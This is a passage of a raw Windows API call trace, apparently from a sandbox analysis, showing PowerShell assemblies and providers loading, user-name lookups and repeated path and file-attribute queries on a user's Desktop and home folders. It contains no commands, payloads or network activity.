lpRawData=0x3ca7810) returned 1 [0084.635] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.636] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.636] CoTaskMemFree (pv=0x1b75b480) [0084.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24ce00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.638] CoTaskMemAlloc (cb=0x804) returned 0x1b763eb0 [0084.638] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b763eb0, nSize=0x24d528 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d528) returned 0x1 [0084.639] CoTaskMemFree (pv=0x1b763eb0) [0084.639] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.639] GetUserNameW (in: lpBuffer=0x1705a0, pcbBuffer=0x24d568 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d568) returned 1 [0084.639] CoTaskMemFree (pv=0x1705a0) [0084.640] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3cad270*="Function", lpRawData=0x3cad000) returned 1 [0084.641] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.642] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.642] CoTaskMemFree (pv=0x1b75b480) [0084.649] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.649] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.649] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.649] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.715] CoTaskMemAlloc (cb=0x804) returned 0x1b763eb0 [0084.715] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b763eb0, nSize=0x24d528 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d528) returned 0x1 [0084.716] CoTaskMemFree (pv=0x1b763eb0) [0084.716] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.716] GetUserNameW (in: lpBuffer=0x1705a0, pcbBuffer=0x24d568 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d568) returned 1 [0084.716] CoTaskMemFree (pv=0x1705a0) [0084.716] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3ccfa48*="Registry", lpRawData=0x3ccf7d8) returned 1 [0084.718] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.718] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.718] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.719] CoTaskMemAlloc (cb=0x804) returned 0x1b763eb0 [0084.719] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b763eb0, nSize=0x24d528 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d528) returned 0x1 [0084.719] CoTaskMemFree (pv=0x1b763eb0) [0084.719] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.719] GetUserNameW (in: lpBuffer=0x1705a0, pcbBuffer=0x24d568 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d568) returned 1 [0084.719] CoTaskMemFree (pv=0x1705a0) [0084.720] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3cd4e10*="Variable", lpRawData=0x3cd4ba0) returned 1 [0084.722] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.722] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.722] CoTaskMemFree (pv=0x1b75b480) [0084.727] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.727] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.727] CoTaskMemFree (pv=0x1b75b480) [0084.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x24cdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0084.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x24cd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0084.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x24cd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0084.731] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x24cd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0084.788] CoTaskMemAlloc (cb=0x804) returned 0x1b763eb0 [0084.788] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b763eb0, nSize=0x24d528 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d528) returned 0x1 [0084.789] CoTaskMemFree (pv=0x1b763eb0) [0084.789] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.789] GetUserNameW (in: lpBuffer=0x1705a0, pcbBuffer=0x24d568 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d568) returned 1 [0084.789] CoTaskMemFree (pv=0x1705a0) [0084.789] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3ce89d8*="Certificate", lpRawData=0x3ce8768) returned 1 [0084.797] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.797] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.797] CoTaskMemFree (pv=0x1b75b480) [0084.800] GetLogicalDrives () returned 0x4 [0084.801] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x24d1b0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0084.801] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0084.802] CoTaskMemAlloc (cb=0x20e) returned 0x164fa0 [0084.802] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x164fa0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0084.802] CoTaskMemFree (pv=0x164fa0) [0084.804] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.804] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.804] CoTaskMemFree (pv=0x1b75b480) [0084.805] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.805] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.805] CoTaskMemFree (pv=0x1b75b480) [0084.815] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.815] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.815] CoTaskMemFree (pv=0x1b75b480) [0084.816] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.816] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.816] CoTaskMemFree (pv=0x1b75b480) [0084.817] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24cf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0084.817] SetErrorMode (uMode=0x1) returned 0x1 [0084.817] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x24d170 | out: lpFileInformation=0x24d170*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xeb5082c0, ftLastAccessTime.dwHighDateTime=0x1d5eccb, ftLastWriteTime.dwLowDateTime=0xeb5082c0, ftLastWriteTime.dwHighDateTime=0x1d5eccb, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.817] SetErrorMode (uMode=0x1) returned 0x1 [0084.817] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24cf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0084.817] SetErrorMode (uMode=0x1) returned 0x1 [0084.817] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x24d170 | out: lpFileInformation=0x24d170*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xeb5082c0, ftLastAccessTime.dwHighDateTime=0x1d5eccb, ftLastWriteTime.dwLowDateTime=0xeb5082c0, ftLastWriteTime.dwHighDateTime=0x1d5eccb, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.818] SetErrorMode (uMode=0x1) returned 0x1 [0084.818] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.818] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.818] CoTaskMemFree (pv=0x1b75b480) [0084.823] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0084.825] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x24cf20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0084.825] SetErrorMode (uMode=0x1) returned 0x1 [0084.825] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x24d130 | out: lpFileInformation=0x24d130*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.825] SetErrorMode (uMode=0x1) returned 0x1 [0084.825] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x24cf20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0084.825] SetErrorMode (uMode=0x1) returned 0x1 [0084.825] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x24d130 | out: lpFileInformation=0x24d130*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.825] SetErrorMode (uMode=0x1) returned 0x1 [0084.825] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x24cf30, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0084.825] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x24ce20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0084.826] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x24cf20, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0084.826] SetErrorMode (uMode=0x1) returned 0x1 [0084.826] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x24d130 | out: lpFileInformation=0x24d130*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2329edc0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2329edc0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0084.826] SetErrorMode (uMode=0x1) returned 0x1 [0084.826] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x24cf20, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0084.826] SetErrorMode (uMode=0x1) returned 0x1 [0084.826] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x24d130 | out: lpFileInformation=0x24d130*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2329edc0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2329edc0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0084.826] SetErrorMode (uMode=0x1) returned 0x1 [0084.826] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x24cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0084.826] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x24ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0084.827] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x24cf20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0084.827] SetErrorMode (uMode=0x1) returned 0x1 [0084.827] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0x24d130 | out: lpFileInformation=0x24d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.827] SetErrorMode (uMode=0x1) returned 0x1 [0084.827] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x24cf20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0084.827] SetErrorMode (uMode=0x1) returned 0x1 [0084.827] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0x24d130 | out: lpFileInformation=0x24d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.827] SetErrorMode (uMode=0x1) returned 0x1 [0084.827] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x24cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0084.827] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\.", nBufferLength=0x105, lpBuffer=0x24ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0084.827] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24cf20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0084.828] SetErrorMode (uMode=0x1) returned 0x1 [0084.828] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x24d130 | out: lpFileInformation=0x24d130*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xeb5082c0, ftLastAccessTime.dwHighDateTime=0x1d5eccb, ftLastWriteTime.dwLowDateTime=0xeb5082c0, ftLastWriteTime.dwHighDateTime=0x1d5eccb, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.828] SetErrorMode (uMode=0x1) returned 0x1 [0084.828] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24cf20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0084.828] SetErrorMode (uMode=0x1) returned 0x1 [0084.828] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x24d130 | out: lpFileInformation=0x24d130*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xeb5082c0, ftLastAccessTime.dwHighDateTime=0x1d5eccb, ftLastWriteTime.dwLowDateTime=0xeb5082c0, ftLastWriteTime.dwHighDateTime=0x1d5eccb, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.828] SetErrorMode (uMode=0x1) returned 0x1 [0084.828] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0084.828] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x24ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0084.829] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x24cf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0084.829] SetErrorMode (uMode=0x1) returned 0x1 [0084.829] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x24d170 | out: lpFileInformation=0x24d170*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2329edc0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2329edc0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0084.829] SetErrorMode (uMode=0x1) returned 0x1 [0084.829] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x24cf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0084.829] SetErrorMode (uMode=0x1) returned 0x1 [0084.829] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x24d170 | out: lpFileInformation=0x24d170*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2329edc0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2329edc0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0084.829] SetErrorMode (uMode=0x1) returned 0x1 [0084.829] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x24cf70, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0084.829] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x24ce60, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0084.830] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x24cf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0084.830] SetErrorMode (uMode=0x1) returned 0x1 [0084.830] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0x24d170 | out: lpFileInformation=0x24d170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.830] SetErrorMode (uMode=0x1) returned 0x1 [0084.830] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x24cf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0084.830] SetErrorMode (uMode=0x1) returned 0x1 [0084.830] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), 